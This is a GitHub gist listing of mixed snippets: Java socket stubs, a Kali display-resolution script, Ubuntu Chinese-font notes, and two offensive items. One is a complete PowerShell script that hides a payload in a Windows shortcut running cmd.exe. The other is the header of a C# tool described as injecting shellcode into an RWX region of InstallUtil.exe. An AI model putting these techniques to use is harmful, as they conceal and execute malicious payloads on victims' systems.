Skip to content

Instantly share code, notes, and snippets.

@tanharoh
tanharoh / rwxHunter.cs
Created April 23, 2017 08:28
Locate a RWX Region in memory in InstallUtil.exe - Copy Shellcode Into It and Execute. Avoid VirtuallAlloc Call
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
@tanharoh
tanharoh / shortcut.ps1
Created December 31, 2016 03:33 — forked from 3gstudent/shortcut.ps1
Hide payload into Windows shortcut
$file = Get-Content "c:\test\test.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("c:\test\test.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.Arguments = ' '+ $file
$Shortcut.Save()
import java.io.*;
import java.net.Socket;
import java.util.Vector;
public class DataClient
{
public static void main(String[] args) throws IOException
{
import java.io.*;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.Enumeration;
import java.util.Vector;
public class DataServer
{
public static void main(String[] args)
{
@tanharoh
tanharoh / Kali-分辨率.sh
Created May 9, 2016 15:39
Kali Linux设置屏幕分辨率
# Kali Linux设置屏幕分辨率
cvt -r 1920 1080 60
# 1920x1080 59.93 Hz (CVT 2.07M9-R) hsync: 66.59 kHz; pclk: 138.50 MHz
Modeline "1920x1080R" 138.50 1920 1968 2000 2080 1080 1083 1088 1111 +hsync -vsync
xrandr --newmode "1920x1080R" 138.50 1920 1968 2000 2080 1080 1083 1088 1111 +hsync -vsync
xrandr --addmode DVI-I-1 1920x1080R
xrandr -s 1920x1080R -r 60
@tanharoh
tanharoh / gist:91cfd45923f1752d97dd4e104314226f
Created April 26, 2016 14:12 — forked from allex/gist:11203573
Ubuntu 安装中文字体

环境 (Environment)

版本:Ubuntu 14.04 LTS 默认语言:English(United States)

安装 (Setup)

Debian 和 Ubuntu 下对中文支持比较好的字体有: fonts-droid、ttf-wqy-zenhei 和 ttf-wqy-microhei 等,除了文泉驿系列字体外,比较流行的免费中文字体还有文鼎提供的楷体和上海宋,包名分别是: fonts-arphic-ukai 和 fonts-arphic-uming。